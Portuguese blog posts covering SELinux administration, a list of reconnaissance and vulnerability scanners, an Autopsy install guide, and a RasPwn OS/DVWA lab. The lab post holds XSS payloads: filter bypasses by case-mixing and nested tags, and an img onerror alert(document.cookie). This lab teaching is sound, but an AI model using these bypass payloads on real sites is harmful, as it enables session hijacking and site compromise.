O Security Enhanced Linux (SELinux) é uma camada adicional de segurança do sistema. Ele não utiliza as regras de firewall (iptables, firewalld…) e também não utiliza o sistema de acesso/permissão “UGOA” (user, group, others, all).
A proposta do SELinux é utilizar Controle de Acesso Obrigatório (Mandatory Access Control, MAC) que é baseado em objeto, restringindo o acesso de um usuário ou iniciador a esse objeto.

O SELinux se baseia em um conjunto de regras de segurança que determinam qual processo pode acessar quais arquivos, diretórios e portas. Esse controle é feito através de um rótulo que cada processo, porta ou arquivo recebe. Esse rótulo, dentro do SELinux é conhecido “context”.
Cada contexto tem uma política de acesso para determinar o que pode ser acessado e o que não pode ser acessado. Porém, o SElinux funciona de forma restritiva, ou seja, caso a regra não seja explícita, o acesso será negado.
Os rótulos do SELinux têm vários contextos: usuário, função, tipo e sensibilidade.

A política direcionada (SELINUXTYPE=targeted que está no arquivo de configuração do SELinux, demonstrada a seguir), que é a política padrão ativada. Ele se baseia no contexto “TIPO”. Eles são facilmente identificados, pois geralmente terminam com _t.

Contexto do arquivo SELinux:
unconfined_u:object_r:user_home_dir_t:s0 /home/bruno/

_u: User
_r: Role
_t: Type
s: Level

Abaixo, alguns contextos de tipo para arquivos e diretórios:

– /home é user_home_dir_t;
– /var/www/html é httpd_sys_content_t;
– /tmp e /var/tmp é tmp_t.

Também há contextos para portas de um servidor web, por exemplo, que é o http_port_t.

Isso tudo impede que serviços que foram comprometidos não tenha acessos a outras áreas do sistemas operacional.
Um bom exemplo é o caso do Apache. Caso comprometido, o usuário e grupo apache têm acesso ao /tmp. Com as regras restritivas do SELinux, o acesso do apache só sera do diretório /var/www/html

Alguns comandos utilizam a opção “-Z” para exibir os contextos do SELinux.

Exemplos:

# ps uaZ
# ls -Z

ENTENDENDO E ALTERANDO OS ESTADOS DO SELINUX

Para fins didáticos, vamos separar o processo do SELinux em algumas partes.
A primeira, mais básica: Ativado e Desativado.
Ativado: Ele inicia junto ao sistema operacional;
Desativado: Ele NÃO inicia junto ao sistema operacional.

Para fazer isso na inicialização, pode passar um parâmetro no Kernel informando seus estados.
Para Desativar, basta passar o parâmetro selinux=0
Para Ativar, basta passar o parâmetro selinux=1
Mais a frente, demonstro como fazer no arquivo de configuração e de forma definitiva.

Quando o SELinux está Ativo, ele tem dois estados de funcionamento: Imposição (enforcing) e Permissivo (permissive)

Imposição: o SELinux está ativo e impõe que as regras de controle de acesso sejam utilizado no Sistema Operacional.
Permissivo: o SELinux está ativo mas apenas registra quais regras de controle de acesso foram violadas sem impedir qualquer tipo de acesso.

A vantagem da utilização do modo Permissivo é o fato de não alterar o acesso ao sistema e poder utilizar para estudos, testes ou correções de problemas.
Quando o SELinux está desativado, nem mesmo o registro dos acessos é feito.

Para fazer uma verificação manual do SELinux e assim saber em qual modo ele está, pode verificar manualmente ou através do seu arquivo de configuração

getenforce = Verifica o estado atual do SELinux.
setenforce = Aplica um novo estado para o SELinux

Para o modo Imposição (Enforcing):
setenforce 1” ou “setenforce Enforcing

Para o modo Permissivo (Permissive):
setenforce 0” ou “setenforce Permissive

ARQUIVO DE CONFIGURAÇÃO DO SELINUX

O arquivo de configuração do SELinux fica em “/etc/selinux/config“. Nele é possível modificar de forma definitiva o comportamento do SELinux ao iniciar o sistema;

# cat /etc/selinux/config

# This file controls the state of SELinux on the system.
# SELINUX= can take one of these three values:
# enforcing – SELinux security policy is enforced.
# permissive – SELinux prints warnings instead of enforcing.
# disabled – No SELinux policy is loaded.
SELINUX=enforcing

# SELINUXTYPE= can take one of these two values:
# targeted – Targeted processes are protected,
# minimum – Modification of targeted policy. Only selected processes
# are protected.
# mls – Multi Level Security protection.
SELINUXTYPE=targeted

Basta utilizar o nome do estado do SELinux no parâmetro de mesmo nome.

SELINUX=enforcing
SELINUX=permissive
SELINUX=disabled

Ao finalizar, basta salvar o arquivo e reiniciar o sistema.
Quando o sistema é reiniciado, os parâmetros do Kernel são lidos. Assim como fizemos manualmente informando o estado Ativado ou Desativado, o arquivo de configuração irá informar se o SELinux está ativado selinux=0 ou 1 e qual o seu estado enforcing=0 ou 1

HERANÇAS DOS CONTEXTOS DO SELINUX

Como dito anteriormente, todos os processos e arquivos são rotulados. Novos arquivos herdam o contexto do diretório pai.
Porém, essa herança pode ser prejudicada de duas formas:

1 – Se um arquivo for criado em um diretório e movido para outro, o contexto será do diretório onde foi criado.

Exemplo:

# echo “Servidor Apache” >> /tmp/index.html
# ls -Z /tmp/index.html
# mv /tmp/index.html /var/www/html
# ls -Z /var/www/html/index.html

Observe que o contexto continuará como do diretório /tmp
unconfined_u:object_r:user_tmp_t:s0 /var/www/html/index.html

2 – A outra forma é copiando o arquivo e mantendo seus atributos (cp -a), pois o contexto é preservado.

# echo “Servidor Apache” >> /tmp/index.html
# ls -Z /tmp/index.html
# cp -a /tmp/index.html /var/www/html
# ls -Z /var/www/html/index.html

ALTERAÇÃO DOS CONTEXTOS DO SELINUX

Para alterar os contextos do SELinux, são necessário conhecer 3 comandos:
– semanage
– restorecon
– chcon

O “semanage” serve para fazer a declaração de qual será o rótulo padrão, porém ele tem que vir acompanhado do argumento fcontext.
O “restorecon” faz com que o contexto padrão seja aplicado aos diretórios e arquivos.
Já o “chcon” faz altera o contexto, porém não fica de forma permanente como o “semanage fcontext“. Ele é ideal para a realização de testes por não ficar permanente e pode ser facilmente removido com a execução do “restorecon

Exemplo:

# mkdir /testeSeLinux
# ls -dZ /testeSeLinux
unconfined_u:object_r:default_t:s0 /testeSeLinux/

# chcon -t ssh_exec_t /testeSeLinux
# ls -dZ /home/bruno/testeSeLinux
unconfined_u:object_r:ssh_exec_t:s0 /testeSeLinux/

# restorecon -v /testeSeLinux
Relabeled /testeSeLinux from unconfined_u:object_r:ssh_exec_t:s0 to unconfined_u:object_r:default_t:s0

# ls -dZ /home/bruno/testeSeLinux
unconfined_u:object_r:default_t:s0 /testeSeLinux/

No exemplo acima:
– Criamos um diretório /testeSeLinux
– Mudamos o contexto, não definitivamente, de default_t para ssh_exec_t
– Restauramos o contexto do diretório /testeSeLinux para o padrão (default_t)

DEFINIÇÃO DAS REGRAS DE CONTEXTO PADRÃO DO SELINUX

Utilizando o “semanage fcontext“, podemos definir um novo contexto padrão para diretórios e arquivos.
O “restorecon” utiliza os contextos definidos pelo “semanage” para restaurar o contexto padrão.

A utilização do “semanage fcontext” pode ser para adicionar, deletar ou listar dos tipos de contexto:

-a (–all): Adiciona um registro
-d (–delete): Apaga um registro
-l (–list): Lista os registros

Para a utilização desses comandos, será necessário verificar se os pacotes policycoreutils e policycoreutils-python-utils estão instaladas em seu Sistema Operacional. Também é necessário o entendimento da seguinte expressão regular: (/.*)? que significa “opcionalmente, corresponder uma / seguida por qualquer número de caracteres” e na prática ele lê o diretório em questão e seus arquivos recursivamente.

A utilização segue a seguinte lógica:

# semanage fcontext -a -t contexto ‘/diretório(/.*)?’

A opção -a é utilizada para adicionar um contexto; A opção -t é o tipo do contexto.
O argumento é o diretório que será aplicado o contexto junto com a expressão regular no final, dentro de aspas simples.

Exemplo:

# mkdir /MeuSite
# echo “Teste do Meu Site” >> /MeuSite/index.html
# ls -Zd /MeuSite
# ls -Z /MeuSite
# semanage fcontext -a -t httpd_sys_content_t ‘/MeuSite(/.*)?’
# restorecon -RFvv /MeuSite
# ls -Zd /MeuSite
#  ls -Z /MeuSite

AJUSTE DO SELINUX COM BOOLEANOS

Os booleanos do SELinux são opções que alteram o comportamento da política do SELinux, regras que podem ser habilitadas ou desabilitadas para fazer ajustes seletivos.
Instale o pacote selinux-policy-doc e com o comando “man -k _selinux” poderá ver todos os manuais disponíveis com todas as regras que utilizam booleanos.

Para fazer esses ajustes, utilizaremos os seguintes comandos:

– getsebool
– setsebool
– semanage boolean (Esse será utilizado apenas para consulta)

O comando “getsebool” lista os booleanos e seus estados. Pode listar todos de uma única vez (-a) ou um específico

# getsebool -a
# getsebool httpd_enable_homedirs

O comando “setsebool” modifica os valores dos booleanos

# setsebool httpd_enable_homedirs on
# semanage boolean -l | grep httpd_enable_homedirs
httpd_enable_homedirs (on , off) Allow httpd to enable homedirs

Nesse ponto você observará que existe entre parênteses as palavras on e off. No primeiro campo, indica o estado atual do valor daquele booleano e o segundo campo indica se aquele valor será persistente ao reiniciar o sistema. No exemplo acima, a opção httpd_enable_homedirs está ativada no momento, porém se a máquina for reiniciada esse estado voltará para desativado.
Para tornar esse valor persistente, vamos utilizar a opção -P.

# setsebool -P httpd_enable_homedirs on
# semanage boolean -l | grep httpd_enable_homedirs
httpd_enable_homedirs (on , on) Allow httpd to enable homedirs

Nesse momento, a opção httpd_enable_homedirs está ativada e caso seja necessário reiniciar o host, a opção permanecerá ativa.

Caso queira listar todos os booleanos que estão com o valor diferente do padrão, basta executar:
# semanage boolean -l -C

ENTENDENDO OS PROBLEMAS DO SELINUX

Todas as ações tomadas pelo SELinux são gravadas em log, portanto podemos utilizar essas informações para verificar se há algum serviço que o SELinux está impedindo de ser executado. Como vimos anteriormente, o “restorecon” server para restaurar o contexto padrão de um diretório. Ele pode resolver em muitos casos, porém é sempre importante entender como o SELinux funciona e suas mensagens para assim resolver o problema mais rapidamente.

Você precisa instalar o pacote setroubleshoot-server para que as mensagens do arquivo “/var/log/audit/audit.log” envie um resumo da informação que o SELinux gerar para o arquivo “/var/log/messages“. Caso sua distribuição não tenha o arquivo messages, instale o pacote rsyslog e inicie o serviço.

Exemplo:
Vamos simular um erro para que assim possa ser gerado o alerta no sistema de auditoria do linux e enviado para o arquivo de mensagens.
Você irá precisar instalar o apache para o exemplo a seguir:

# systemctl start httpd
# echo “Meu Site” >> /root/meusite.html
# mv /root/meusite.html /var/www/html
# curl http://localhost/meusite.html

Nesse momento você verá a seguinte mensagem do Apache:

<!DOCTYPE HTML PUBLIC “-//IETF//DTD HTML 2.0//EN”>
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don’t have permission to access /meusite.html
on this server.<br />
</p>
</body></html>

Isso gerou um alerta que está nos logs que comentamos anteriormente:

# tail /var/log/audit/audit.log

type=AVC msg=audit(1598297683.712:239): avc: denied { getattr } for pid=5356 comm=”httpd” path=”/var/www/html/meusite.html” dev=”dm-0″ ino=8409719 scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 tclass=file permissive=0

# tail /var/log/messages

localhost setroubleshoot[1913]: SELinux is preventing httpd from getattr access on the file /var/www/html/meusite.html. For complete SELinux messages run: sealert -l 14fa81a0-f8be-40a1-82da-908440c823c8

Nos dois arquivos, é possível observar a negação do acesso ao arquivo “/var/www/html/meusite.html
No arquivo messages, é possível ver a sugestão da utilização do comando “sealert” para ver informações adicionais

# sealert -l 14fa81a0-f8be-40a1-82da-908440c823c8

O “sealert” trará o mesmo conteúdo, mas de duas formas. Uma mais organizada e outra no modo “raw” que trás o mesmo conteúdo do “audit.log

Utilizando a saída do “sealert“, é possível observar três campos importante para o nosso erro:

Contexto de origem system_u:system_r:httpd_t:s0
Contexto de destino unconfined_u:object_r:admin_home_t:s0
Objetos de destino /var/www/html/meusite.html [ file ]

no Raw messages:

scontext=system_u:system_r:httpd_t:s0 tcontext=unconfined_u:object_r:admin_home_t:s0 path=”/var/www/html/meusite.html”

O “Contexto de origem” ou “scontext” é o contexto que o selinux espera para o “Objetos de destino” ou “path“. Já o “Contexto de destino” ou “tcontext” mostra a informação que o SELinux encontrou no “Objetos de destino” ou “path“. No nosso caso, era esperado “httpd_t” e foi encontrado “admin_home_t“, pois o arquivo foi criado no “/root” (admin_home_t) e movido para “/var/www/” e como vimos anteriormente, isso gera um erro.

Vamos verificar como está o contexto de “/var/www/html

# ls -Zd /var/www/html
system_u:object_r:httpd_sys_content_t:s0 /var/www/html

Agora vamos restaurar o contexto dos arquivos dentro do diretório “/var/www/html

# restorecon -RFvv /var/www/html/
Relabeled /var/www/html/meusite.html from unconfined_u:object_r:admin_home_t:s0 to system_u:object_r:httpd_sys_content_t:s0

A saída do comando (por causa da opção -vv) mostra que o contexto do arquivo foi alterado de admin_home_t para httpd_sys_content_t. Com isso, o arquivo html deve estar disponível para acesso.

# curl http://localhost/meusite.html
Meu Site

Apesar de uma explicação básica sobre o SELinux, é possível entender sua importância, como trabalhar com ele e ainda tratar alguns erros.
O objetivo é tirar um pouco da ideia que o SELinux é muito complicado e que só serve para desabilitar após a instalação.

Referências:
https://www.redhat.com/pt-br/topics/linux/what-is-selinux
https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/8/html/using_selinux/index

Ao som de: Curumin – Passarinho

Essa semana fui perguntado quais ferramentas eu conhecia para buscar vulnerabilidades em sites e hosts. Informei as mais conhecidas como Nessus e OpenVAS.
Porém, me lembrei de uma lista que guardo nos favoritos de alguns sites e ferramentas que também utilizo, porém não cabia na conversa (e minha memória não é melhor que a minha lista de favoritos)

Antes da lista, algumas considerações:

  • Deixando claro que essa não é uma lista definitiva e nem completa, porém é uma forma de compartilhamento de informações.
  • Também não existe ferramenta melhor que a outra. Cada um tem seu propósito e funciona de forma diferente. Pode ser que cada uma delas traga uma informação e cabe a você pegar as melhores informações na hora de gerar seu relatório.
  • Algumas dessas ferramentas não recebem mais atualizações, porém ainda são excelente.

Agora sim, uma pequena descrição de cada uma dessas ferramentas e seus respectivos sites:

theHarvester (https://github.com/laramies/theHarvester)
Ferramenta para a coleta de dados de um host sendo possível encontrar e-mails, subdomínios, IPs e URLs.
Usa vários motores do busca como o Google e Bing, mas também outros mais específicos como o netcraft e shodan.

Netcraft (https://toolbar.netcraft.com/site_report)
Como comentado acima, um tipo de motor de busca, mas que faz uma busca completa em um site.
É possível saber se o site já foi reportado como inseguro e quais são os serviços que mantém o site online.

Shodan (https://www.shodan.io/)
Outro motor de busca, porém mais voltado para dispositivos de rede na internet.
Muito utilizado para levantar informações sobre hosts ou fazer busca de hosts vulneráveis.

Censys (https://censys.io/)
Muito semelhante ao Shodan, também faz buscas na internet usando consultas personalizadas.

Maltego (https://github.com/paterva)
O Maltego é utilizado para fazer busca de informações na internet, semelhante ao theHarvester, porém ele é bem mais visual e mais automatizado.
Excelente quando se pretende levantar informações de um domínio.

nmap (Zenmap e NSE) (https://github.com/nmap/nmap)
Provavelmente a ferramenta mais conhecida dessa lista, o NMAP é uma ferramenta open source para fazer um scan em rede.
Muito utilizada para descobrir portas e vulnerabilidade nos hosts de uma rede. A sua interface gráfica é o Zenmap.

whatsweb (https://github.com/urbanadventurer/WhatWeb)
Caso queira saber quais aplicações e suas versões, redirecionamentos e configurações de um site, o WhatWeb vai ser muito útil.
Ele faz uma consulta ao domínio e retorna as informações da tecnologia que dá suporte ao site, incluindo CMS.

dirb (https://gitlab.com/kalilinux/packages/dirb)
O dirb é um scanner de conteúdo WEB. Ele varre um domínio por completo atrás de outros subdomínios, estando esses publicados ou ocultos.
Geralmente utilizado para encontrar subdomínios que o administrador queria esconder.

dmitry (https://github.com/jaygreig86/dmitry/)
Também com o propósito de levantar informações sobre um domínio, o dmitry usa motores de busca para levantar informações.

Nikto (https://github.com/sullo/nikto)
Assim como os outros acima, busca informações de um domínio. Uma de suas vantagens é a utilização em docker e as constantes atualizações no seu projeto do github

What CMS? (https://whatcms.org)
O site “What CMS?” faz busca no site buscando informações que possam levar a uma possível identificação de um CMS. Está na dúvida se o site é wm WordPress? Esse site irá te ajudar!

WPscan (https://github.com/wpscanteam/wpscan)
Essa ferramenta é voltada para o CMS WordPress. Ela reúne em seu banco de dados as informações das vulnerabilidades conhecidas para o WordPress e assim tenta encontrar essas brechas.

joomscan (https://github.com/rezasp/joomscan)
Assim como WPscan, o joomscan é uma ferramenta voltada a um CMS, mas nesse caso, como o nome sugere, ao Joomla!

sqlmap (https://github.com/sqlmapproject/sqlmap)
Aumentando a lista das ferramentas focadas em uma ferramenta, o sqlmap é uma ferramenta para exploração automatizada utilizando a técnica de SQL Injection.
Feita em python, suporta os bancos de dados mais populares do mercado.

Red Hawk (https://github.com/Tuhinshubhra/RED_HAWK)
Ferramenta feita em PHP para obter informações de sites. De acordo com a sua documentação, ele consegue informações como consultas whois e dns, subdomínios, detecção de CMS.

uniscan (https://sourceforge.net/projects/uniscan/)
Apesar de ser uma das ferramentas mais desatualizadas da lista, é ainda bastante eficiente.
É utilizada para buscar vulnerabilidades dos tipos “Remote File Include, Local File Include e Remote Command Execution” em sites.

skipfish (https://github.com/spinkham/skipfish)
Ferramenta criada pelo Google que faz busca recursiva e ataques de dicionário para buscar vulnerabilidades em sites.

OWASP Zap (https://github.com/zaproxy/zaproxy)
A OWASP é uma comunidade online com foco na melhoria da segurança de softwares. Uma de suas contribuições mais famosas é a sua lista de TOP 10 de vulnerabilidades mais atacadas no mundo.
Essa comunidade criou o ZAP (Zed Attack Proxy) que realiza uma busca automatizada de vulnerabilidades em sites. Também existe a possibilidade de utilizar a ferramenta para buscas manuais.

Sn1per (https://github.com/1N3/Sn1per)
o Sn1per é um framework para um pentest automatizado. Ele utiliza outras ferramentas para conseguir os seus resultados.
Isso não quer dizer que ele é uma ferramenta ruim, pelo contrário. Ele utiliza as melhores ferramentas para conseguir o melhor resultado.

Este artigo tem a finalidade meramente acadêmica. Os autores desse artigo, e de qualquer outro artigo deste site, não se responsabilizam por qualquer atividade relacionada a esse material sendo executadas por qualquer pessoa. O uso indevido dessas informações podem resultar em acusações criminais interpostas contra as pessoas em questão.


Ao Som de Porcupine Tree – The Sound of Musak

Uma das maiores reclamações dos estudantes da segurança da informação, é o fato de utilizar máquinas virtuais para os estudos. Muitos acham frustante por não estar instalado em uma máquina física. Pensando nisso, foi desenvolvida uma distribuição para ser instalada em um Raspberry Pi e que é intencionalmente vulnerável. Essa distribuição é a RasPwn OS.

A distribuição RasPwn OS é baseada na distribuição Debian Wheezy. De acordo com o Github oficial, é uma distro Linux no espírito da distro “Damn Vulnerable Linux (DVL)” e usa o Raspberry Pi 2B e 3 para emular um servidor Linux vulnerável, por tanto esse é o único propósito do RasPwn OS e ele não deve ser exposto a internet, pois pode comprometer toda a sua rede interna.

No meu caso, tenho um Raspberry Pi 3 com cartão de memória de 16 gb. É o suficiente para começar os estudos. Também é possível instalar no Raspberry Pi 2B, porém precisa de uma adaptador wifi conectado a uma das portas USB, pois não possui uma interface interna de wifi, ao contrário do Raspberry Pi 3 que já possui wifi integrado.

Meu Raspberry Pi 3... <3

Meu Raspberry Pi 3…

Baixei a imagem no site oficial, extrai usando o 7ZIP e fiz a cópia da ISO para o cartão utilizando o Etcher. O procedimento usado para gerar o conteúdo da imagem pode variar, não sendo uma regra.

Após esse procedimento, coloquei o cartão no slot do Raspberry e liguei a fonte na energia. Caso queira acompanhar a primeira inicialização do OS, basta colocar um monitor HDMI. O sistema reiniciará uma vez e após isso estará pronto para o uso.

A primeira coisa a se fazer é conectar-se o sistema operacional que você utilizará para estudar no wifi que o RasPwn criou. 
SSID: RasPwn OS
Senha: In53cur3!

Depois de conectar-se a rede wifi criada, utilize um browser e acesse o endereço: http://playground.raspwn.org/. Essa é a página principal do RasPwn OS e que dará acesso aos outros sistemas instalados no mesmo sistema. Você notará que a rede criada é a 192.168.99.0/24, assim você pode passar algum scanner de rede para testes.

A documentação oficial da distribuição informa os ips atribuídos a cada serviço:

Bind (192.168.99.1, 192.168.99.10) – DNS Server
Postfix (192.168.99.18) – Mail Transfer Agent
Dovecot (192.168.99.18) – Mail Client Server
Samba (192.168.99.10) – Windows File Sharing Server
Apache2 (192.168.99.13) – Web Server
Nginx (192.168.99.7) – Web Server
MySQL Server (127.0.0.1) – Database Server
OpenSSH (192.168.99.1) – SSH server

Além disso, há alguns aplicativos instalado com versões desatualizadas para as vulnerabilidades conhecidas serem exploradas:

Concrete 5.6.3.4 – http://playground.raspwn.org/concrete5/
Drupal 6.34 – http://playground.raspwn.org/drupal-6.34/
Drupal 7.34 – http://playground.raspwn.org/drupal-7.34/
Joomla 2.5.28 – http://playground.raspwn.org/joomla-2/
Joomla 3.4.0 – http://playground.raspwn.org/joomla-3/
osCommerce 2.3 – http://playground.raspwn.org/oscommerce/
phpBB 3.0.13 – http://playground.raspwn.org/phpBB3/
WordPress 3.8.1 – http://playground.raspwn.org/wordpress3/
WordPress 4.1 – http://playground.raspwn.org/wordpress4
Zen-Cart 1.5.4 – http://playground.raspwn.org/zencart
PhpMyAdmin 3.4.11 – http://playground.raspwn.org/phpmyadmin/
Samba SWAT 3.6.6 – http://playground.raspwn.org:901 (wifi adapter only)
Roundcube 0.7.2 – http://playground.raspwn.org/roundcube/

Há também serviços WEB para testes de vulnerabilidades:

OWASP Bricks – http://playground.raspwn.org/bricks
Damn Vulnerable Web Application (DVWA) – http://playground.raspwn.org/dvwa
OWASP Hackademic – http://playground.raspwn.org/hackademic
OWASP Mutillidae II – http://playground.raspwn.org/mutillidae
Peruggia – http://playground.raspwn.org/peruggia
WackoPicko – http://wackopicko.playground.raspwn.org (wifi adapter only)
WebGoat – http://playground.raspwn.org:8080/WebGoat (wifi adapter only)

Para título de exemplo, vou usar o DVWA para exemplificar a vulnerabilidade XSS (Cross-Site Scripting)

Primeiramente, vamos acessar o DVWA:

http://playground.raspwn.org/dvwa
Login: admin
Senha: password

Iremos fazer os testes com 3 níveis de segurança: Low, Medium e High.

Todos os 3 ataques abaixo são do tipo Refletido ou Não Persistente.

Vamos começar com o Low. Para fazer isso, no Menu da esquerda, basta clicar em DVWA Security.

Só escolher Low e depois clicar em Submit.

Agora, vamos acessar a página para testes XSS. No menu da esquerda, clicar em XSS (Reflected).

Como estamos estudando, vamos olhar o código do fonte da página para assim entender como funcionam as proteções.

Para ver o código fonte (lembre-se que não é possível ver em uma página comum da web, pois o código php será interpretado e exibido apenas o resultado HTML final), basta clicar no final da página em View Source.

Como é possível observar, não há nenhuma proteção para evitar o XSS, então podemos utilizar o XSS mais básico (afinal, a segurança está setada para Low)

No único campo que há (What’s your name?):

<script>alert(“Ataque XSS LOW”);</script>

Sucesso!

Agora com o nível de segurança em “Medium”. Lembre-se de mudar o nível na página de configuração.

Mais uma vez, vamos olhar o código fonte:

Agora é possível observar que no código há uma proteção para evitar que o código <script> seja interpretado. Porém, é apenas para <script>, caso utilize o mesmo texto, mas com letras maiúsculas e minúsculas, o script será interpretado. Logo, por exemplo, podemos utilizar <ScRiPt>.

<ScRiPt>alert(“Ataque XSS MEDIUM”);</sCrIpT>

Sucesso!

Uma outra forma é colocar o script dentro do código script. Estranha explicação, então vamos para a prática e ficará mais claro.

<scri<script>pt>alert(“Ataque XSS MEDIUM 2”);</scri<script>pt>

Sucesso!

A explicação é que com a proteção da forma que está, a string <script> será suprimida, isso fará que o texto que está “em volta” da string fica um texto só, e será novamente <script>, assim executando o código.

E finalmente, nível de segurança HIGH!

Novamente, olhando o código fonte, podemos perceber que o código agora está mais sofisticado, impedindo que o <script> seja executado de qualquer forma. Então, vamos tentar inserir código html.

<img src=x onError=alert(“document.cookie”);>

Sucesso!

Nesse exemplo, é inserido um código html de imagem, porém a imagem não existe, logo existe um tratamento para o erro que é executado quando essa condição for verdadeira, que é o caso. Assim, o código XSS é executado. Também é possível perceber que foi utilizado o parâmetro alert(document.cookie) que serve para exibir o cookie da sessão atual.

Depois de contemplado os 3 ataques em modo Refletido, agora em modo Persistente:

No menu da esquerda, clicar em XSS (Stored).

Em todos os exemplos, vamos colocar os códigos no campo “Name”

Começando pelo Persistente no modo LOW:

Sempre é bom olhar o código fonte para verificar se há alguma proteção.

Como é no nível LOW, não há nenhuma proteção:

Então, vamos usar o ataque básico:

<script>alert(“Ataque XSS LOW”);</script>

Pode observar que não foi possível inserir todo texto no campo Name. Logo, vamos inspecionar o elemento.

Observe que na linha destacada, há a limitação para apenas 10 caracteres . Vamos aumentar pra 100!

É possível observar que agora o código cabe todo. Agora é só executar:

Sucesso! 

Como as informações inseridas ficam no banco de dados, vamos dar um reset no banco antes de ir para o nível de segurança “Medium”

Para fazer isso, basta ir no menu do lado esquerdo e clicar em “Setup / Reset DB”.

No final da página, basta clicar em “Create / Reset Database DB”.

Ao fazer isso, os bancos serão apagados e criados novamente. Assim, podemos passar para o nível de segurança Medium.

Agora no nível “MEDIUM” e já olhando o código fonte:

Há a mesma proteção que já observamos no mesmo nível no modo Persistente, então vamos usar as mesmos scripts.

E aparentemente, também há a limitação de 10 caracteres. Então vamos mudar logo pra 100 também.

<ScRiPt>alert(“Ataque XSS MEDIUM”);</sCrIpT>

Também funciona a mesma técnica de colocar o “script” dentro de outro “script”.

<scri<script>pt>alert(“Ataque XSS MEDIUM 2”);</scri<script>pt>

Sucesso!

Agora, level “HIGH”. Não esquecer de dar reset no banco novamente.

Analisando o código fonte, também há a mesma proteção, logo vamos usar o mesmo código.

E adiantando também a limitação do campo “Name”, então vamos mudar logo pra 100 e colocar o código.

<img src=x onError=alert(“document.cookie”);>

Sucesso!

Isso é uma pequena amostra sobre o que é possível fazer com o RasPwn OS na parte de estudos. Espero trazer mais exemplos usando esse sistema, com outros sistemas e outras vulnerabilidades.

Caso queira testar com mais códigos XSS, no site GBHackers há uma lista com 500 exemplos: https://gbhackers.com/top-500-important-xss-cheat-sheet/

Espero ter ajudado e até uma próxima.

Ao som de: Rashid – Interior ft. Rapadura

Fontes:

http://raspwn.org/
https://github.com/alphacharlie/RasPwn
https://computersecuritystudent.com/SECURITY_TOOLS/DVWA/DVWAv107/lesson9/index.html
https://www.hackingarticles.in/xss-exploitation-dvwa-bypass-security/
http://2001594623noviani.blog.binusian.org/2018/05/27/cross-site-scripting-xss-on-dvwa/

Por padrão, a versão do Autopsy que vem nos repositórios oficiais do Debian é a versão 2.24 porém para Windows já existe a versão 4.10. Como o Autopsy roda com o SleuthKit e Java no linux, vamos fazer um passo a passo dessas instalações.

Um ponto importante de se observar é que as versões atualizadas do Autopsy “acompanham” as versões atualizadas do Sleuth Kit. No caso do Autopsy 4.10, a versão utilizada do Sleuth Kit é a 4.6.5. Essa verificação é feita pelo script de instalação e caso esteja diferente, a instalação não será concluída. No caso de atualização do Autopsy, também é necessário a atualização do Sleuth Kit.

No nosso caso, vamos utilizar o Debian 9, porém pode ser instalada em qualquer outra distribuição baseada no Debian (Ubuntu, Kali, Parrot, Caine…), pois vamos utilizar um arquivo .deb.
No final do post há uma lista com todos os comandos utilizados sem as explicações, caso seja um usuário avançado ou não queira ver as explicações do post.

Preparando o Ambiente

O Debian que estou utilizando está em sua configuração padrão, apenas com o Vim e Terminator instalados e o usuário utilizado é o root (apenas para melhor compreensão do post).

Então vamos começar atualizando o sistema:

apt update && apt -y upgrade

Agora vamos instalar o photorec, programa necessário para a execução do Autopsy

apt -y install testdisk

O Debian 9 já vem com o Java OpenJDK 8 instalado, não sendo necessário fazer qualquer instalação Java. Caso queira atualizar ou usar outra aplicação Java, como da Oracle, não fará diferença para a execução do Autopsy, apenas trará as melhorias de cada pacote ou de um sistema sempre atualizado.
Mesmo assim, precisamos fazer uma configuração no Java para indicarmos onde está instalado o java. E primeiramente, vamos pegar o diretório onde o OpenJDK está instalado com:

java -XshowSetting

Vamos procurar uma linha com o conteúdo parecido com esse: java.home = /usr/lib/jvm/java-8-openjdk-amd64/jre
Lembrando que a saída do “java.home” pode variar de acordo com o sistema instalado.

Em seguida, adicione essa informação na variável de ambiente do Debian para que o sistema reconheça através da variável $JAVA_HOME onde está instalado o Java.

vim /etc/environment 

Adicione a seguinte linha no final do arquivo:

JAVA_HOME="/usr/lib/jvm/java-8-openjdk-amd64/jre"

Depois basta salvar o arquivo e sair do editor com o comando:

:wq

Agora vamos carregar esse arquivo

source /etc/environment

E verificar se o sistema já reconhece o novo path

echo $JAVA_HOME

A saída será o diretório que consta no arquivo /etc/environment

Instalando o Sleuth Kit 4.6.5

Inicialmente, vamos baixar o arquivo .deb de instalação do SleuthKit

wget https://github.com/sleuthkit/sleuthkit/releases/download/sleuthkit-4.6.5/sleuthkit-java_4.6.5-1_amd64.deb

E em seguida instalar esse pacote

apt install ./sleuthkit-java_4.6.5-1_amd64.deb 

Caso apresente algum erro com falta de alguma dependência, basta executar “apt -f install” e depois fazer a instalação do sleuthkit novamente repetindo o comando acima (apt install ./sleuthkit-java_4.6.5-1_amd64.deb).

Instalando o Autopsy 4.10

Agora, basta fazer o download do Autopsy 4.10 no github oficial

wget https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.10.0/autopsy-4.10.0.zip

Extrair o pacote:

unzip autopsy-4.10.0.zip && cd autopsy-4.10.0

Executar o instalador:

sh unix_setup.sh

Acessar o diretório bin/ dentro do diretório do autopsy

cd bin

E executar o autopsy

./autopsy
Debian 9.9 – Kernel 4.9 – Java 8 OpenJDK
Parrot OS 4.6 – Kernel 4.19 – Java 11 OpenJDK

Sugiro que criem um atalho para a execução do programa para não ter que acessar o diretório e executar o programa sempre for utilizar.

O objetivo deste post é apenas ajudar aos peritos que utilizam Linux, porém sentiam falta de uma versão mais atualizada do Autopsy no Linux e tinham que recorrer ao Windows, muita vezes tendo que interromper o fluxo de trabalho para a troca de sistema operacional.

Comando utilizados para caso alguém queira fazer um script (e postar nos comentários depois):

apt update && apt -y upgrade && apt -y install testdisk
echo JAVA_HOME=\"/usr/lib/jvm/java-8-openjdk-amd64/jre\" >> /etc/environment
source /etc/environment
wget https://github.com/sleuthkit/sleuthkit/releases/download/sleuthkit-4.6.5/sleuthkit-java_4.6.5-1_amd64.deb && wget https://github.com/sleuthkit/autopsy/releases/download/autopsy-4.10.0/autopsy-4.10.0.zip && unzip autopsy-4.10.0.zip
apt -y install ./sleuthkit-java_4.6.5-1_amd64.deb
cd autopsy-4.10.0
sh unix_setup.sh
./autopsy

Caso dê erro: apt -f install && apt -y install ./sleuthkit-java_4.6.5-1_amd64.deb

https://www.autopsy.com/
https://www.sleuthkit.org/
